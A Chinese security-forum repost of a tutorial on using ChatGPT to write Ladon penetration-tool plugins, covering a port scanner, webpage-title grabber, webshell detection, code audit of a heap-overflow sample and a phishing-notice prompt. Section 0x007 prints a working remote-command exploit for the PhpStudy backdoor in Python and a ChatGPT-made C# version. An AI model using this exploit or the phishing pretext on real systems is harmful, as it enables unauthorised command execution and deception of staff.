安全矩阵

 找回密码
 立即注册
搜索
查看: 485|回复: 0

使用ChatGPT编写Ladon渗透工具POC、代码审计、编写EXP、安全...

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-3-25 23:10:26 | 显示全部楼层 |阅读模式
原文链接:使用ChatGPT编写Ladon渗透工具POC、代码审计、编写EXP、安全检测、修复漏洞等
前言
本文半个月前发表于博客,当时也在本公众号发布了经过剪辑的《chatGPT编写Ladon渗透插件视频》,写完文章后没两天,我的OpenAI号被停了,当然和发文章没有关系(多个因素,可能是虚拟手机号的问题)。因为那几天我问了它很多,想让它实现一些功能,给的代码都不能用,但它还是不承认,最后把它问到崩溃,直接回复我说,如何还解决不了,请联系OpenAI技术人员解决。毕竟有很多功能它目前真的实现不了,但一些简单例子,Poc常见发包肯定是可以实现的,前提你给它构造好了payload,就如同LadonExp一键编译一样,背后有写死的模板,但是ChatGPT背后有各种主流语言的多个模板,可以随机生成,而且可以参考你的代码,按一定逻辑生成,是有一定学习能力的,确确实实的人工智能,它真的可以辅助做一些简单工作,如果你自身能力不是很强,对你来说,它就是帮你解决牛B工作,比如对于编程能力不强的人,哪怕它帮你生成个简单Poc,对你个人来说,都是帮了你大忙,换句话说,它是脚本小子的福音,当然你也得懂一点毛皮吧,人家给的简单代码都看不懂,也不懂编译,那它对你也没个鸟用,至少懂得编译hello World。

PS: 大家没有官方号也没有关系,现在有很多镜像站点都是可以聊天和写代码的
镜像站点不稳定有时经常问两句就崩,也可以使用OpenAI合作伙伴推出的AI编程工具cursor,该工具免登陆、无需科学上网,使用非常方便,可以让它修改代码,调式代码,生成代码等,当然也可以试试这2天微软出的工具,我还没测试,因为需要排队注册,懒得注册号。



0x001 C#开发Ladon渗透工具插件例子
以下是打印输出当前转入参数的Demo,如扫描C段,即输出存活主机IP,如何传入的是URL,即输出URL,如果对代码进行加工,比如传入URL时,执行对应POC,那么扫C段时,不就可以批量POC了吗,扫描IP.txt或url.txt同理。就是说整个过程开发者无需考虑如何批量URL、如何多线程高并发操作、如果扫A段、B段、C段,如何同时扫100个C段和8个B段,只需实现一个功能即可,剩下复杂逻辑Ladon全都已经处理好了,有POC就可以快速利用。记住这份代码,和ChatGPT聊天时,需要把这份代码发给它。

  1. using System;
  2. using System.Collections.Generic;
  3. using System.Text;
  4. using System.Net;
  5. using System.Text.RegularExpressions;

  6. namespace LadonDLL
  7. {
  8.     public class scan
  9.     {
  10.         public static string run(string ip)
  11.         {
  12.             if (string.IsNullOrEmpty(ip))
  13.                 return "";
  14.             else
  15.             {
  16.                 return "demo: "+ip + "\r\n";
  17.             }

  18.         }
  19.     }
  20. }
复制代码


Demo的功能为打印存活IP,编译DLL,把DLL放在Ladon目录下,使用以下命令测试,结果将输出ICMP即可Ping通的机器IP,因为Ladon默认先使用ICMP探测存活主机,然后再执行插件内部对应的功能。使用命令如下

  1. Ladon netscan.dll  扫描当前机器所在C段
  2. Ladon 192.168.1.1/24 netscan.dll  指定C段
复制代码
工程源码:

  1. https://github.com/k8gege/Ladon/blob/master/Demo_DLL.rar
复制代码

使用VS2010或以上版本打开,若是ChatGPT生成的代码建议使用VS2015或之后版本,不然可能有些代码不能直接使用。
简单了解ChatGPT回答问题的能力
给它输入Ladon简明教程地址,它给我胡编了一个答案,逻辑能力非常强,简直以假乱真。应该根据很多类似工具参考生成了固定模板,你告诉它Ladon是渗透工具,它就胡编乱写一个简介,不熟悉Ladon的人一看估计以为它说的是真的。甚至我在群里看到有人发的人工智能说k8gege也是一款渗透工具,不知道它是不是用的旧版chatGPT,虽然乱说,但逻辑能力是非常强的。









让它把Ladon简介和版本说明做个排版,效果非常棒



0x002 ChatGPT编写Ladon渗透工具插件之获取网页标题
跟它聊天或做个表格,那就太小看它了,对于渗透或开发人员,我们可以让它帮我们写一些简单工具,或者一些功能模块。大家都知道Ladon工具的插件开发非常简单,一是直接配置INI插件,二是LadonEXP一键生成,三是自己编程实现。三的要求相对高一点,需要使用人员有一定编程能力。

我们让ChatGPT参考插件例子源码,使用C#实现一个获取网页标题POC


我们把Demo代码发给它学习,没等几秒钟,它立即给出以下代码


打开demo工程,复制代码,全选粘贴到工程里面去,编译并运行,测试



运行结果报错,原因是我们扫描的是C段IP,即传入参数是IP,但获取网页标题需要的是URL,所以还得让它把IP处理成URL


经过它的修改,可以成功获取网页标题,由于扫的是C段,我们并不知道哪个IP上面部署了IIS7,所以得让它把结果改下


很快它又改好代码,再次编译测试




测试发现除了获取标题外,还回显了很多访问不到的URL




渗透时,我们不需要对不存在的URL进行分析,或者说存在但是当前IP被目标限制了访问不到,所以探测不到。不管是因为不存在而访问不到,还是IP限制访问不到,都无法对它进行渗透,如果C段存活主机非常多,或者说扫描B段,既然我们不关注不可访问结果,那么没必要让它显示。




它给出了最终的代码,编译后,使用Ladon扫描C段,就只回显网页标题了




0x003 ChatGPT生成的最终代码


0x01 ChatGPT实现Ladon渗透插件获取网页标题代码
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Text;
  4. using System.Net;
  5. using System.Text.RegularExpressions;

  6. namespace LadonDLL
  7. {
  8.     public class scan
  9.     {
  10.         public static string run(string input)
  11.         {
  12.             if (string.IsNullOrEmpty(input))
  13.                 return "";

  14.             string url = "";
  15.             Uri uriResult;
  16.             if (Uri.TryCreate(input, UriKind.Absolute, out uriResult)
  17.                 && (uriResult.Scheme == Uri.UriSchemeHttp || uriResult.Scheme == Uri.UriSchemeHttps))
  18.             {
  19.                 url = uriResult.ToString();
  20.             }
  21.             else if (Regex.IsMatch(input, @"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(:\d+)?$"))
  22.             {
  23.                 url = "http://" + input;
  24.             }

  25.             if (string.IsNullOrEmpty(url))
  26.             {
  27.                 return "Invalid URL or IP address";
  28.             }
  29.             else
  30.             {
  31.                 string title = "";
  32.                 try
  33.                 {
  34.                     WebClient client = new WebClient();
  35.                     string html = client.DownloadString(url);
  36.                     Regex regex = new Regex(@"(?<=<title.*>)([\s\S]*)(?=</title>)", RegexOptions.IgnoreCase);
  37.                     title = regex.Match(html).Value.Trim();
  38.                 }
  39.                 catch
  40.                 {
  41.                     return "";
  42.                 }
  43.                 return url + "\t" + title + "\r\n";
  44.             }
  45.         }
  46.     }
  47. }
复制代码




0x02  ChatGPT编写Ladon渗透插件之端口扫描代码
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Net;
  4. using System.Net.Sockets;
  5. namespace LadonDLL
  6. {
  7.     public class scan
  8.     {
  9.         public static string run(string ip)
  10.         {
  11.             if (string.IsNullOrEmpty(ip))
  12.                 return “”;
  13.         // 要扫描的端口列表
  14.         List<int> ports = new List<int>() { 21, 80, 443, 22, 445, 135 };

  15.         string result = "";
  16.         // 扫描每个端口并添加结果到字符串
  17.         foreach (int port in ports)
  18.         {
  19.             if (IsPortOpen(ip, port))
  20.             {
  21.                 result += $"{ip}\t{port}\tOPEN\r\n";
  22.             }
  23.         }

  24.         return result;
  25.     }

  26.     // 检查端口是否开放
  27.     static bool IsPortOpen(string ip, int port)
  28.     {
  29.         try
  30.         {
  31.             using (TcpClient client = new TcpClient())
  32.             {
  33.                 client.Connect(ip, port);
  34.                 return true;
  35.             }
  36.         }
  37.         catch
  38.         {
  39.             return false;
  40.         }
  41.     }
  42. }
  43. }
复制代码



PS:Ladon自带模块WebScan或WhatCMS或PortScan均包含网页标题功能获取,PortScan端口扫描模块也包含很多协议指纹识别,大家有兴趣也可以让chatGPT帮实现更多更好用的插件功能。

小结
本文演示如何使用ChatGPT开发Ladon插件,快速扩展Ladon扫描能力,借助ChatGPT,编程新手也可以快速编写POC。有一点大家要注意,使用ChatGPT做一件事最好只在一个chat里操作,不然它会结合上下文,把你的需求搞乱,给多余或混乱代码。你自身的专业能力越强,它和你的对话就越专业,你问得模糊不清,自己一知半解,你的专业术语或表述不对,它给你的结果自然垃圾。甚至有时候它给的很多代码压根就不能用,但是它胡编乱造的能力,让你一眼觉得代码是正确可用的,实际编译发现,不能用,比如某些协议它给的包就压根不对,我测试了十几次,同样问题它随机给了好几次代码,其中有3次重复,但这些不是重点,重点是都用不了,有是发包协议是这个数组有时是另一个,有时是对的,但整个请求代码还有其它错误,导致用不了,你得告诉它教它改,虽然这样,就它目前的能力,也是非常强的,让它写一个Ladon简单功能插件,基本也就5分钟左右(对于实现不了稍微有几个逻辑的功能可能一两小时它才能改好,这种情况自己写更快),当然如果需求足够清晰,够了解它,让它不要乱改什么,要实现的功能,每一条都写清楚,也有可能一步到位,一问就搞定,加上编译测试,整个过程估计也就一分钟左右。

视频教程
https://github.com/k8gege/ChatLadon
【视频】ChatGPT编写Ladon渗透插件之端口扫描.rar
【视频】ChatGPT编写Ladon渗透插件之网页标题获取.rar

ps: 同理,我们让它实现端口扫描或其它功能,重复过程就不放在文章里,以上项目地址,有完整和chatGPT聊天实现Ladon插件的视频教程,非常直观,出错如何处理,给的代码不合适如何修改等,看不懂的可以直接看教程。



0x003  恶意WebShell检测

如果你是蓝队或运维人员,不确定服务器上的脚本是否有问题,也可以发给它检查,它也能识别出恶意软件,正在用的镜像可能接的不是最新的,之前给一些webshell样例,它直接提示是webshell,当然提示恶意也不错了,毕竟回复也是随机的,也有可能这次通过镜像回复是可能恶意。

检测php恶意脚本


检测aspx恶意脚本



0x004 代码审计

这是一份存在溢出漏洞的C语言代码,看看小老弟能不能发现漏洞

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. char mybuf[]="k8gege";
  5. int main(int argc,char *argv[])
  6. {
  7. HANDLE hHeap;
  8. char *buf1,*buf2;

  9. //自己建立一HEAP
  10. hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS,0x1000,0xffff);
  11. printf("mybuf addr=%p\n",mybuf);

  12. //动态分配buf1
  13. buf1=HeapAlloc(hHeap,0,200);
  14. strcpy(buf1,mybuf);
  15. printf("buf1=%s\n",buf1);

  16. //动态分配buf2
  17. buf2 = HeapAlloc(hHeap,0,16);
  18. HeapFree(hHeap,0,buf1);
  19. HeapFree(hHeap,0,buf2);
  20. return 0;
  21. }
复制代码



如果它只是解释代码,也可以继续追问,让它帮检查是否存在漏洞



PS: 其它语言同理,什么aspx、php、jsp,它会帮你找到XSS、SQL注入、RCE等漏洞,当然代码量小的,明显的,那种实际功能绕来绕去的,让它帮注释也可以,直接挖洞,可能不太行,因为有聊天限制,上下文联系也有限制,代码量稍微大点,就没办法了

0x005 修复漏洞

让它修复漏洞,它只会回复你说些废话,比如修改函数等,不是我们要的效果,所以聊天把我们的需求说清楚,“帮我修改一下代码  把存在漏洞问题的函数  替换成安全函数”,不然它给你的只是理论回复,没有具体代码。





0x006  钩鱼攻击

给它需求,让它帮写一个发邮方案,”我是XX公司运维人员,最近公司被黑客攻击,帮我写一份通知,让大家访问指定URL,按教程步骤做好个人安全工作“,它能做的也就是写文案,并不能直接攻击,指定URL需要用户自行准备好文档或相关漏洞,它是不会直接生成或攻击的,最开始出来的文章只是演示生成发邮的文案,标题就写得好像通过它直接攻击一样,这种就属于夸大吹嘘,很多人看都没看过,就觉得好牛啊,它都能攻击了。这个应该是chatGPT应用里最没技术含量的,因为不需要使用者具备 任何专业知识,说白了就是写文案而已,不像编程,需要使用者自身具备一定编程知识,要不然给你完整代码,你也压根看不懂,不要说它生成的代码,有时候是虚构的或乱编的。



0x007 编写EXP

以PhpStudy后门为例,影响版本如下
phpstudy 2016版 PHP 5.4.45和PHP5.2.17
phpstudy2018版 php-5.2.17和php-5.4.45
漏洞检测



这是一段phpstudy后门Exp代码,比较简单,就是发个base64包执行php

  1. #PhpStudyDoor Exploit
  2. #Author: K8gege
  3. #Date: 20190926
  4. import socket
  5. import sys
  6. import requests
  7. import base64
  8. url = sys.argv[1]
  9. cmd = sys.argv[2]
  10. payload = base64.b64encode('echo system("'+cmd+'");')

  11. headers = {
  12.     'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
  13.   'Accept-Encoding':'gzip,deflate',
  14.   'Accept-Charset':payload
  15. }

  16. html = requests.get(url,headers=headers,verify=False,timeout=5)
  17. print html.text
复制代码





对存在漏洞的靶机进行测试,执行whoami命令,效果如下



代码全发给它,最后加上一句话 "使用c#实现这段代码功能"



让chatGpt使用c#实现上述代码功能,其实就是代码翻译功能,要知道它连人类语言都能理解,它的母语机器怎么不理解呢,而且你给的代码本身就是正确的话,刚好逻辑简单代码量又少,让它做个翻译还是没问题的。特别像web漏洞这种http发包Get、Post这种随便做生成器的东西,主流语言让它实现都是没问题的,下面是它给出的代码。

  1. using System;
  2. using System.Net;
  3. using System.IO;
  4. using System.Text;

  5. class Program
  6. {
  7.     static void Main(string[] args)
  8.     {
  9.         string url = args[0];
  10.         string cmd = args[1];
  11.         string encodedPayload = Convert.ToBase64String(Encoding.UTF8.GetBytes("echo system("" + cmd + "");"));

  12.         HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
  13.         request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36";
  14.         request.Headers.Add("Accept-Encoding", "gzip,deflate");
  15.         request.Headers.Add("Accept-Charset", encodedPayload);

  16.         using (WebResponse response = request.GetResponse())
  17.         {
  18.             using (Stream stream = response.GetResponseStream())
  19.             {
  20.                 using (StreamReader reader = new StreamReader(stream))
  21.                 {
  22.                     string html = reader.ReadToEnd();
  23.                     Console.WriteLine(html);
  24.                 }
  25.             }
  26.         }
  27.     }
  28. }
复制代码



编译它给的代码,测试成功可用





抖音上有人说程序员要失业了,甚至有人说高端程序员优先失业

不知道大家怎么看,有些博主说,高端程序员会失业,因为很多公司不再需要高级程序员,只需要那些会组装代码的低级程序员,按照他的逻辑,OpenAI的程序员不是优先被开除,去摆摊卖烧烤,然后就是各种大公司的程序员被开除,接着去应聘OpenAi前高级程序员的烧烤摊卖烧烤。

我的看法是ChatGpt确实可以编写些简单的代码,但是还是无法直接生成很多业务可能用的代码。即便能生成,这和github上开源很多现成可用软件、工具、CMS完整程序或源码有什么区别,github上这么多现成可用的工程源码,都没见哪个公司因为这个原因开除,为什么?因为不懂的人,给他源码他也压根看不懂,低级程序员菜鸟就更加,需要解决很多问题,他们更加解决不了。AI能自动做不少事,但是使用者自己菜的话,也很难发挥出作用,chatGPT实际上可以当作有逻辑思维的搜索引擎,要是平时连用Google搜索答案,或github上找现成代码来改的能力都没学好,AI给你的代码或答案,简单通用的可能是可用的,但很多错误不存在的东西,它虚构的代码,菜鸟只会死脑筋编译,出了错,也不知道如何教它改,或者有些代码GPT根本无法修改,还是得人工修改,你请个菜鸟就想搞定?

这么简单就能搞个公司,哪还需要AI啊,直接所github上现成可用的代码,编译拿去卖,远比使用AI慢慢生成代码,排错要快100倍。正常人理解的低级程序员会被开除,这个起码听起来还正常一点,但是同样的github现成代码理论就可否定。公司要开除你,和有没有AI无关,因为它目前远远没达到当人用的级别,而且老板不可能亲自上阵,提需求,自己编译代码自己和客户沟通,发表这些言论的也是过份吹嘘现有AI的能力。

上面只是说Github,很多软件下载站,全球数万一键搭建的CMS、网站程序也是多得不得了,但是为什么还需要程序员啊?AI给的代码随便找个人真的能看懂吗?低级程序员看着有解释的代码,也真的能看懂吗?不懂的人他还是一样不懂,但是有潜力的菜鸟,利用AI可以快速学习成长。未来的工作AI会是很强的辅助工具,不会用AI,才可能真的被淘汰,实际上和搜索引擎一样,你懂的关键字越多(换个说法同义词掌握多),描述越清晰,得到的结果越准确,要不然就老是回复一些无法落地,逻辑好的理论知识而已,简称废话答案。

为什么同样用Google,有些人搜到EXP,有些人搜不到?

比方说有个新洞编号是CVE-2023-8888888,很多人,只会用漏洞、渗透关键字来搜索,满天飞的POC,当然是个人都随便搜得到。但是不同的人发文章用词不一样,标题也不一样,有些因为博客过滤关键字问题,可能密码爆破,会写成密码审计,远控会写成C2或其它用语,如果你自身不够专业,你当然搜不到啊。更别说有些原文是国外的,你得把关键词翻译成英文、俄文、还有其鸟语。默认情况下,CVE-2023-88888或许能搜到POC,毕竟比较通用,但也有不发的,比方说WebLogic漏洞CVE-2019-2725,你用这几个关键字能搜到,但有些人的文章,他标题是Weblogic反序列化,或者说只是XML反序列化研究,但文章里的例子就是cve-2019-2725的POC,而整个文章没有提到weblogic或cve编号。查找工具、资料也是一样一样的,未来使用AI也是一样一样的,自身知识专业技能掌握越多的人,越容易描述出具体的技术需求,得到想要的答案。




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 02:01 , Processed in 0.018318 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表